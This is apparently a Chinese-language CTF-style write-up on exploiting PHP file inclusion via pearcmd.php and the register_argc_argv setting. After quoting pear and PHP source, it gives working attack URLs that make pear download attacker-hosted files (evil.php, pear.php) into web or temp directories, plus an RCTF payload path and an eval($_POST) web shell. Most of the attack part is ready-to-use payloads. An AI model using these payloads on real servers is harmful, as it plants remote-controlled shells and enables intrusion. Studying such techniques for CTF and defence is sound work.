register_argc_argv 1.首先了解到这个参数默认是ON的
pear Pear 是 PHP 扩展与应用库(the PHP Extension and Application Repository)的缩写,是一个 PHP 扩展及应用的一个代码仓库。Pear 仓库代码是以包(package)分区,每一个 Pear package 都是一个独立的项目有着自己独立的开发团队、版本控制、文档和其他包的依赖关系信息。Pear package 以 phar、tar 或 zip 发布。
因为pear是包管理器,所以存在下载和安装包功能 
if  test "x$PHP_PEAR_PHP_BIN "  != "x" ; then  PHP="$PHP_PEAR_PHP_BIN "  else   if  test "/usr/local/bin/php"  = '@' php_bin'@' ; then     PHP=php   else      PHP="/usr/local/bin/php"    fi fi if  test "x$PHP_PEAR_INSTALL_DIR "  != "x" ; then  INCDIR=$PHP_PEAR_INSTALL_DIR   INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR "  else   if  test "/usr/local/lib/php"  = '@' php_dir'@' ; then     INCDIR=`dirname $0 `     INCARG=""    else      INCDIR="/usr/local/lib/php"      INCARG="-d include_path=/usr/local/lib/php"    fi fi exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1  -d variables_order=EGPCS -d open_basedir=""  -d safe_mode=0  -d register_argc_argv="On"  -d auto_prepend_file=""  -d auto_append_file=""  $INCDIR/pearcmd.php "$@"  
,可以看到后面调用了argv的值,是从包含的另一个文件中来的
require_once  'Console/Getopt.php' ;$argv = Console_Getopt::readPHPArgv(); 
在console/Getopt.php有如下实现方法:
public  static  function  readPHPArgv (     {        global  $argv;         if  (!is_array($argv)) {             if  (!@is_array($_SERVER['argv' ])) {                 if  (!@is_array($GLOBALS['HTTP_SERVER_VARS' ]['argv' ])) {                     $msg = "Could not read cmd args (register_argc_argv=Off?)" ;                     return  PEAR::raiseError("Console_Getopt: "  . $msg);                 }                 return  $GLOBALS['HTTP_SERVER_VARS' ]['argv' ];             }             return  $_SERVER['argv' ];         }         return  $argv;     } 
可以看到获取$argv的方式是global $argv --> $_SERVER['argv'] --> $GLOBALS['HTTP_SERVER_VARS']['argv']
利用链 当我们包含pearcmd.php的时候,相当于包含了这个php文件里面的所有变量,由于argv变量我们可控,那么我就可以通过pear命令来getshell了
pear命令任意文件下载 首先要cd到/usr/lib/php
pear dowload http://xxx.xx.xx.xx/pear.php 
即可下载到当前目录下
pear install -R /var/www/html http:/xxxxxx/pear.php 
如何使用argv和argc传值进行peargetshell 阅读底层c代码
PHPAPI void  php_build_argv (const  char  *s, zval *track_vars_array)  zval arr, argc, tmp; int  count = 0 ;if  (!(SG(request_info).argc || track_vars_array)) {return ;} array_init(&arr); if  (SG(request_info).argc) { int  i;for  (i = 0 ; i < SG(request_info).argc; i++) {ZVAL_STRING(&tmp, SG(request_info).argv[i]); if  (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL ) {zend_string_efree(Z_STR(tmp)); } } } else  if  (s && *s) { while  (1 ) {const  char  *space = strchr (s, '+' );ZVAL_STRINGL(&tmp, s, space ? space - s : strlen (s)); count++; if  (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL ) {zend_string_efree(Z_STR(tmp)); } if  (!space) {break ;} s = space + 1 ; } } 
可以知道argv通过query_string取值,并通过+作为分隔符
// web目录可写 - http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php - http://ip:port/tmp/pear/download/evil.php // tmp目录可写 - http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php - http://ip:port/include.php?f=/tmp/pear/download/evil 
rctf的payload
/../../../../usr/local/lib/php/pearcmd.php?f=pearcmd&+install+-R+/tmp/+http://110.42.133.xxxx/pear.php /../../../../tmp/tmp/pear/download/pear.php <script language='php'>eval($_POST['a']);</script> <script language='php'> eval($_POST['a']);</script>